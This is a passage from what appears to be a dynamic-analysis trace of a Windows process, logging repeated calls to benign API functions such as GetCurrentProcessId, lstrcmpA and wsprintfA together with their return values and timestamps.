returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] lstrlenA (lpString="just string") returned 11 [0031.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.687] GetLastError () returned 0x57 [0031.687] GetLastError () returned 0x57 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] lstrlenA (lpString="just string") returned 11 [0031.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.687] GetLastError () returned 0x57 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] lstrlenA (lpString="just string") returned 11 [0031.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.687] GetLastError () returned 0x57 [0031.687] GetCurrentProcess () returned 0xffffffff [0031.687] GetLastError () returned 0x57 [0031.687] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3A39P") returned 5 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetLastError () returned 0x57 [0031.687] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3A3AP") returned 5 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] lstrlenA (lpString="just string") returned 11 [0031.687] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.687] GetLastError () returned 0x57 [0031.687] GetLastError () returned 0x57 [0031.687] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcess () returned 0xffffffff [0031.687] GetLastError () returned 0x57 [0031.687] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3A7EP") returned 5 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcess () returned 0xffffffff [0031.687] GetLastError () returned 0x57 [0031.687] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3A7FP") returned 5 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetLastError () returned 0x57 [0031.687] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3A80P") returned 5 [0031.687] SetLastError (dwErrCode=0x57) [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.687] GetCurrentProcessId () returned 0xb44 [0031.688] lstrlenA (lpString="just string") returned 11 [0031.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.688] GetLastError () returned 0x57 [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] lstrlenA (lpString="just string") returned 11 [0031.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.688] GetLastError () returned 0x57 [0031.688] GetLastError () returned 0x57 [0031.688] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.688] SetLastError (dwErrCode=0x57) [0031.688] GetCurrentProcess () returned 0xffffffff [0031.688] GetLastError () returned 0x57 [0031.688] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3AE2P") returned 5 [0031.688] SetLastError (dwErrCode=0x57) [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetCurrentProcess () returned 0xffffffff [0031.688] GetLastError () returned 0x57 [0031.688] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3AE3P") returned 5 [0031.688] SetLastError (dwErrCode=0x57) [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetLastError () returned 0x57 [0031.688] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3AE4P") returned 5 [0031.688] SetLastError (dwErrCode=0x57) [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] lstrlenA (lpString="just string") returned 11 [0031.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.688] GetLastError () returned 0x57 [0031.688] GetLastError () returned 0x57 [0031.688] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.688] SetLastError (dwErrCode=0x57) [0031.688] GetCurrentProcess () returned 0xffffffff [0031.688] GetLastError () returned 0x57 [0031.688] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3B1EP") returned 5 [0031.688] SetLastError (dwErrCode=0x57) [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetCurrentProcess () returned 0xffffffff [0031.688] GetLastError () returned 0x57 [0031.688] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3B1FP") returned 5 [0031.688] SetLastError (dwErrCode=0x57) [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetLastError () returned 0x57 [0031.688] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3B20P") returned 5 [0031.688] SetLastError (dwErrCode=0x57) [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] GetCurrentProcessId () returned 0xb44 [0031.688] lstrlenA (lpString="just string") returned 11 [0031.688] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.688] GetLastError () returned 0x57 [0031.688] GetLastError () returned 0x57 [0031.688] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.688] SetLastError (dwErrCode=0x57) [0031.689] GetCurrentProcess () returned 0xffffffff [0031.689] GetLastError () returned 0x57 [0031.689] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3B5AP") returned 5 [0031.689] SetLastError (dwErrCode=0x57) [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcess () returned 0xffffffff [0031.689] GetLastError () returned 0x57 [0031.689] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3B5BP") returned 5 [0031.689] SetLastError (dwErrCode=0x57) [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetLastError () returned 0x57 [0031.689] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3B5CP") returned 5 [0031.689] SetLastError (dwErrCode=0x57) [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] lstrlenA (lpString="just string") returned 11 [0031.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.689] GetLastError () returned 0x57 [0031.689] lstrlenA (lpString="just string") returned 11 [0031.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.689] GetLastError () returned 0x57 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] lstrlenA (lpString="just string") returned 11 [0031.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.689] GetLastError () returned 0x57 [0031.689] GetLastError () returned 0x57 [0031.689] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3BD4P") returned 5 [0031.689] SetLastError (dwErrCode=0x57) [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] lstrlenA (lpString="just string") returned 11 [0031.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.689] GetLastError () returned 0x57 [0031.689] GetLastError () returned 0x57 [0031.689] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3BE8P") returned 5 [0031.689] SetLastError (dwErrCode=0x57) [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] lstrlenA (lpString="just string") returned 11 [0031.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.689] GetLastError () returned 0x57 [0031.689] GetLastError () returned 0x57 [0031.689] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3BFCP") returned 5 [0031.689] SetLastError (dwErrCode=0x57) [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] lstrlenA (lpString="just string") returned 11 [0031.689] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.689] GetLastError () returned 0x57 [0031.689] GetCurrentProcess () returned 0xffffffff [0031.689] GetLastError () returned 0x57 [0031.689] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3C0FP") returned 5 [0031.689] SetLastError (dwErrCode=0x57) [0031.689] GetCurrentProcessId () returned 0xb44 [0031.689] GetLastError () returned 0x57 [0031.689] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3C10P") returned 5 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] lstrlenA (lpString="just string") returned 11 [0031.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.690] GetLastError () returned 0x57 [0031.690] GetLastError () returned 0x57 [0031.690] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcess () returned 0xffffffff [0031.690] GetLastError () returned 0x57 [0031.690] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3C36P") returned 5 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcess () returned 0xffffffff [0031.690] GetLastError () returned 0x57 [0031.690] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3C37P") returned 5 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetLastError () returned 0x57 [0031.690] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3C38P") returned 5 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] lstrlenA (lpString="just string") returned 11 [0031.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.690] GetLastError () returned 0x57 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] lstrlenA (lpString="just string") returned 11 [0031.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.690] GetLastError () returned 0x57 [0031.690] GetLastError () returned 0x57 [0031.690] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3CB0P") returned 5 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] lstrlenA (lpString="just string") returned 11 [0031.690] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.690] GetLastError () returned 0x57 [0031.690] GetLastError () returned 0x57 [0031.690] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcess () returned 0xffffffff [0031.690] GetLastError () returned 0x57 [0031.690] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3CE0P") returned 5 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetCurrentProcess () returned 0xffffffff [0031.690] GetLastError () returned 0x57 [0031.690] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3CE1P") returned 5 [0031.690] SetLastError (dwErrCode=0x57) [0031.690] GetCurrentProcessId () returned 0xb44 [0031.690] GetLastError () returned 0x57 [0031.691] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3CE2P") returned 5 [0031.691] SetLastError (dwErrCode=0x57) [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] lstrlenA (lpString="just string") returned 11 [0031.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.691] GetLastError () returned 0x57 [0031.691] GetCurrentProcess () returned 0xffffffff [0031.691] GetLastError () returned 0x57 [0031.691] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3D09P") returned 5 [0031.691] SetLastError (dwErrCode=0x57) [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetLastError () returned 0x57 [0031.691] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3D0AP") returned 5 [0031.691] SetLastError (dwErrCode=0x57) [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] lstrlenA (lpString="just string") returned 11 [0031.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.691] GetLastError () returned 0x57 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] lstrlenA (lpString="just string") returned 11 [0031.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.691] GetLastError () returned 0x57 [0031.691] lstrlenA (lpString="just string") returned 11 [0031.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.691] GetLastError () returned 0x57 [0031.691] GetLastError () returned 0x57 [0031.691] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.691] SetLastError (dwErrCode=0x57) [0031.691] GetCurrentProcess () returned 0xffffffff [0031.691] GetLastError () returned 0x57 [0031.691] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3D62P") returned 5 [0031.691] SetLastError (dwErrCode=0x57) [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcess () returned 0xffffffff [0031.691] GetLastError () returned 0x57 [0031.691] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3D63P") returned 5 [0031.691] SetLastError (dwErrCode=0x57) [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetLastError () returned 0x57 [0031.691] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3D64P") returned 5 [0031.691] SetLastError (dwErrCode=0x57) [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] GetCurrentProcessId () returned 0xb44 [0031.691] lstrlenA (lpString="just string") returned 11 [0031.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.691] GetLastError () returned 0x57 [0031.691] lstrlenA (lpString="just string") returned 11 [0031.691] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.691] GetLastError () returned 0x57 [0031.691] GetLastError () returned 0x57 [0031.691] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.692] SetLastError (dwErrCode=0x57) [0031.692] GetCurrentProcess () returned 0xffffffff [0031.692] GetLastError () returned 0x57 [0031.692] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3D9EP") returned 5 [0031.692] SetLastError (dwErrCode=0x57) [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcess () returned 0xffffffff [0031.692] GetLastError () returned 0x57 [0031.692] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3D9FP") returned 5 [0031.692] SetLastError (dwErrCode=0x57) [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetLastError () returned 0x57 [0031.692] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3DA0P") returned 5 [0031.692] SetLastError (dwErrCode=0x57) [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] lstrlenA (lpString="just string") returned 11 [0031.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.692] GetLastError () returned 0x57 [0031.692] GetLastError () returned 0x57 [0031.692] lstrlenA (lpString="just string") returned 11 [0031.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.692] GetLastError () returned 0x57 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] lstrlenA (lpString="just string") returned 11 [0031.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.692] GetLastError () returned 0x57 [0031.692] GetLastError () returned 0x57 [0031.692] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.692] SetLastError (dwErrCode=0x57) [0031.692] GetCurrentProcess () returned 0xffffffff [0031.692] GetLastError () returned 0x57 [0031.692] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3E3EP") returned 5 [0031.692] SetLastError (dwErrCode=0x57) [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcess () returned 0xffffffff [0031.692] GetLastError () returned 0x57 [0031.692] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3E3FP") returned 5 [0031.692] SetLastError (dwErrCode=0x57) [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetLastError () returned 0x57 [0031.692] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3E40P") returned 5 [0031.692] SetLastError (dwErrCode=0x57) [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] lstrlenA (lpString="just string") returned 11 [0031.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.692] GetLastError () returned 0x57 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] GetCurrentProcessId () returned 0xb44 [0031.692] lstrlenA (lpString="just string") returned 11 [0031.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.692] GetLastError () returned 0x57 [0031.692] lstrlenA (lpString="just string") returned 11 [0031.692] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.692] GetLastError () returned 0x57 [0031.692] GetCurrentProcess () returned 0xffffffff [0031.693] GetLastError () returned 0x57 [0031.693] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3EB7P") returned 5 [0031.693] SetLastError (dwErrCode=0x57) [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetLastError () returned 0x57 [0031.693] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3EB8P") returned 5 [0031.693] SetLastError (dwErrCode=0x57) [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] lstrlenA (lpString="just string") returned 11 [0031.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.693] GetLastError () returned 0x57 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] lstrlenA (lpString="just string") returned 11 [0031.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.693] GetLastError () returned 0x57 [0031.693] GetLastError () returned 0x57 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] lstrlenA (lpString="just string") returned 11 [0031.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.693] GetLastError () returned 0x57 [0031.693] GetLastError () returned 0x57 [0031.693] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0031.693] SetLastError (dwErrCode=0x57) [0031.693] GetCurrentProcess () returned 0xffffffff [0031.693] GetLastError () returned 0x57 [0031.693] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3F74P") returned 5 [0031.693] SetLastError (dwErrCode=0x57) [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetCurrentProcess () returned 0xffffffff [0031.693] GetLastError () returned 0x57 [0031.693] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3F75P") returned 5 [0031.693] SetLastError (dwErrCode=0x57) [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetLastError () returned 0x57 [0031.693] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="3F76P") returned 5 [0031.693] SetLastError (dwErrCode=0x57) [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] lstrlenA (lpString="just string") returned 11 [0031.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.693] GetLastError () returned 0x57 [0031.693] lstrlenA (lpString="just string") returned 11 [0031.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.693] GetLastError () returned 0x57 [0031.693] lstrlenA (lpString="just string") returned 11 [0031.693] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.693] GetLastError () returned 0x57 [0031.693] GetCurrentProcess () returned 0xffffffff [0031.693] GetLastError () returned 0x57 [0031.693] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4029P") returned 5 [0031.693] SetLastError (dwErrCode=0x57) [0031.693] GetCurrentProcessId () returned 0xb44 [0031.693] GetLastError () returned 0x57 [0031.693] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="402AP") returned 5 [0031.693] SetLastError (dwErrCode=0x57) [0031.693] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] lstrlenA (lpString="just string") returned 11 [0031.694] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.694] GetLastError () returned 0x57 [0031.694] GetLastError () returned 0x57 [0031.694] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.694] SetLastError (dwErrCode=0x57) [0031.694] GetCurrentProcess () returned 0xffffffff [0031.694] GetLastError () returned 0x57 [0031.694] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="405AP") returned 5 [0031.694] SetLastError (dwErrCode=0x57) [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcess () returned 0xffffffff [0031.694] GetLastError () returned 0x57 [0031.694] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="405BP") returned 5 [0031.694] SetLastError (dwErrCode=0x57) [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetLastError () returned 0x57 [0031.694] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="405CP") returned 5 [0031.694] SetLastError (dwErrCode=0x57) [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] lstrlenA (lpString="just string") returned 11 [0031.694] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.694] GetLastError () returned 0x57 [0031.694] GetCurrentProcess () returned 0xffffffff [0031.694] GetLastError () returned 0x57 [0031.694] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="408DP") returned 5 [0031.694] SetLastError (dwErrCode=0x57) [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetLastError () returned 0x57 [0031.694] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="408EP") returned 5 [0031.694] SetLastError (dwErrCode=0x57) [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] GetCurrentProcessId () returned 0xb44 [0031.694] lstrlenA (lpString="just string") returned 11 [0031.694] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.694] GetLastError () returned 0x57 [0031.694] lstrlenA (lpString="just string") returned 11 [0031.694] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.694] GetLastError () returned 0x57 [0031.694] GetLastError () returned 0x57 [0031.694] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.694] SetLastError (dwErrCode=0x57) [0031.694] GetCurrentProcess () returned 0xffffffff [0031.695] GetLastError () returned 0x57 [0031.695] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="40E6P") returned 5 [0031.695] SetLastError (dwErrCode=0x57) [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcess () returned 0xffffffff [0031.695] GetLastError () returned 0x57 [0031.695] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="40E7P") returned 5 [0031.695] SetLastError (dwErrCode=0x57) [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetLastError () returned 0x57 [0031.695] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="40E8P") returned 5 [0031.695] SetLastError (dwErrCode=0x57) [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] lstrlenA (lpString="just string") returned 11 [0031.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.695] GetLastError () returned 0x57 [0031.695] GetLastError () returned 0x57 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] lstrlenA (lpString="just string") returned 11 [0031.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.695] GetLastError () returned 0x57 [0031.695] GetLastError () returned 0x57 [0031.695] lstrcmpA (lpString1="`\x87w", lpString2="luck") returned -1 [0031.695] SetLastError (dwErrCode=0x57) [0031.695] GetCurrentProcess () returned 0xffffffff [0031.695] GetLastError () returned 0x57 [0031.695] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4136P") returned 5 [0031.695] SetLastError (dwErrCode=0x57) [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcess () returned 0xffffffff [0031.695] GetLastError () returned 0x57 [0031.695] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4137P") returned 5 [0031.695] SetLastError (dwErrCode=0x57) [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetLastError () returned 0x57 [0031.695] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4138P") returned 5 [0031.695] SetLastError (dwErrCode=0x57) [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] lstrlenA (lpString="just string") returned 11 [0031.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.695] GetLastError () returned 0x57 [0031.695] GetLastError () returned 0x57 [0031.695] GetLastError () returned 0x57 [0031.695] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="41A6P") returned 5 [0031.695] SetLastError (dwErrCode=0x57) [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] GetCurrentProcessId () returned 0xb44 [0031.695] lstrlenA (lpString="just string") returned 11 [0031.695] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.695] GetLastError () returned 0x57 [0031.695] GetLastError () returned 0x57 [0031.695] GetCurrentProcess () returned 0xffffffff [0031.695] GetLastError () returned 0x57 [0031.695] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="4209P") returned 5 [0031.696] SetLastError (dwErrCode=0x57) [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetLastError () returned 0x57 [0031.696] wsprintfA (in: param_1=0x3bfd8b, param_2="%X%P" | out: param_1="420AP") returned 5 [0031.696] SetLastError (dwErrCode=0x57) [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] lstrlenA (lpString="just string") returned 11 [0031.696] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.696] GetLastError () returned 0x57 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] lstrlenA (lpString="just string") returned 11 [0031.696] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0031.696] GetLastError () returned 0x57 [0031.696] GetCurrentProcessId () returned 0xb44 [0031.696] lstrlenA 